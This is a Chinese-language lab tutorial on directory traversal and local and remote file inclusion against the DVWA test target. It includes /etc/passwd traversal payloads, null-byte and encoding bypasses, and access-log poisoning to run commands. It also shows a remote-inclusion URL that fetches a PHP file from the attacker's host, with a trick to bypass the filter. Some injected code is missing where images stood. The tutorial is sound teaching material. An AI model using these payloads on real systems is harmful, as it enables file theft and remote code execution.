二十一、手动漏洞挖掘(4)目录遍历/文件包含

1、区别

  • 目录遍历:Directory traversal
    • 目录遍历:指除浏览web本目录外,能够浏览web目录外的文件;
  • 文件包含:File include
    • 文件包含:指系统执行访问请求时,调用web本身目录外的文件,作为访问结果。其中又分为LFI(本地文件包含)和RFI(远程文件包含),RFI可以放一个远程木马文件,访问中RFI包含远程木马文件,此时访问能被直接执行,拿到shell。

2、实例

/usr/share/wfuzz/wordlist/vulns/下有相应的用于黑盒测试表,可用于burpsuite的intruder进行测试。

默认只有本地文件包含,要想使用远程文件包含,需要修改配置文件:

# vi/etc/php5/cgi/php.ini   //编辑配置文件
allow_url_include=on  //修改参数为on
#sudo /etc/init.d/apache2 restart

2.1 典型特征

看到变量的值为一个页面,如
?page=a.php
?home=b.html
?file=content
需要着重关注,有可能存在文件包含漏洞。

二十一、手动漏洞挖掘(4)目录遍历/文件包含_第1张图片
访问file inclusion

2.2 经典测试方法

?file=../../../../etc/passwd
?page=file:///etc/passwd
?home=main.cgi
?page=http://www.a.com/1.php     //远程文件包含
 http://1.1.1.1/../../../dir/file.txt
二十一、手动漏洞挖掘(4)目录遍历/文件包含_第2张图片
通过../查看/etc/passwd
二十一、手动漏洞挖掘(4)目录遍历/文件包含_第3张图片
通过file://查看
二十一、手动漏洞挖掘(4)目录遍历/文件包含_第4张图片
远程文件包含进来

上述163网站有过滤,查看其它的网站(如新浪)或者木马

二十一、手动漏洞挖掘(4)目录遍历/文件包含_第5张图片
Paste_Image.png

2.3 编码绕过

一般来说,服务器对 ascii的前128个字符不会过滤,比如a,b,c等字符,但是对于一些/、.等字符会过滤。对于php5版本,当看到文件后缀为特定字符时,默认会忽略后面的内容,如“.”,“%00”(空字符的URL编码)可以绕过文件扩展名过滤。
举例:?file=a.doc%00.php //默认应用程序后补齐a.doc.php,并且认为不是php程序而执行报错,当加上%00,后面的内容php会忽略。
其中,编码包括url编码、双层url编码,unicode/UTF-8编码,但是前提是服务器端能够识别此编码并解析

二十一、手动漏洞挖掘(4)目录遍历/文件包含_第6张图片
编码绕过

2.3 不同操作系统的路径特征字符

  • 类UNIX系统:
    • 根目录:/
    • 目录层级分隔符:/
  • Windows系统
    • C:\
    • \或/
      其它系统路径可能使用到的字符:
file.txt...
file.txt  //多个空格
file.txt """"
file.txt<<<>>><
./././file.txt
noneexistant/../file.txt  //如cd a/../b.txt(其中a目录不存在)
UNC路径:用于文件共享目录
\\1.1.1.1\path\to\file.txt

2.4本地文件包含lfi

实例:通过php服务器的日志进行文件包含代码的注入
原因:由于权限设置的不合理,导致在先插入一条错误的指令(php代码)到access.log后,能够被文件包含利用后执行

#/var/log/apache2/access.log日志信息可看到URL中包含的信息
然后在kali开启nc连接访问:

#nc 192.168.1.101 80   //连接靶机的80端口
输入
  //提示访问不成功,不是正常访问请求
二十一、手动漏洞挖掘(4)目录遍历/文件包含_第7张图片
php代码访问

但此时,通过查看日志信息,发现有一条日志记录


日志访问信息

由于用户www-data对access.log没有读取权限,如果设置有读取权限的话,即可利用漏洞。因此先修改access.log的访问权限,让www-data也能够读取访问:

#chmod a+rx /var/log/apache2
#chmod a+rx /var/log/appache2/access.log

访问权限执行设置完成后,下面开始通过文件包含将access.log包含进来,并让其执行php的代码。

访问文件并执行代码

查看结果,可以看到执行'id'命令时,系统执行了此命令并返回


执行结果

2.5远程文件包含rfi

2.5.1判断

在kali上执行nc监听80端口,然后在通过ip访问靶机地址,然后通过远程文件包含一个文件(随意命名,只是测试),看靶机是否能将请求发送到kali上:

kali本机监听80端口

访问靶机时,将远程50.115上的a.php文件包含进来

二十一、手动漏洞挖掘(4)目录遍历/文件包含_第8张图片
访问靶机并远程包含kali文件

查看kali上监听的结果,发现远程包含可以被执行,在访问时要来kali上取a.php文件:

监听结果

上面的使用是secure=low,低安全级别的,如果升级为“中”安全级别,可以看下源码:

二十一、手动漏洞挖掘(4)目录遍历/文件包含_第9张图片
medium级别源码

中安全级别对上面输入的http及https进行了过滤,因此如果再像上面那样输入的话会报错,如何才能屏蔽此过滤限制呢?
源码中对http://和https://进行了限制,但是如果在访问中输入: 192.168.50.183/dvwa/vulnerabilities/fi/?page=hthttp://tp://192.168.50.115/a.php,由于中间的http://被转换为空,因此又成为了http://的访问

二十一、手动漏洞挖掘(4)目录遍历/文件包含_第10张图片
绕过中级别过滤限制
2.5.2 RFI实际测试

在kali上的/var/www/html/下建立1.txt,并将写入到1.txt中

1.txt

启动kali上的apache,service apache2 start

访问RFI文件
监听结果

通过上面两个图,可以看到能够访问到RFI文件,下面尝试能否执行此RFI文件执行命令:


二十一、手动漏洞挖掘(4)目录遍历/文件包含_第11张图片
RFI远程文件代码执行

你可能感兴趣的:(二十一、手动漏洞挖掘(4)目录遍历/文件包含)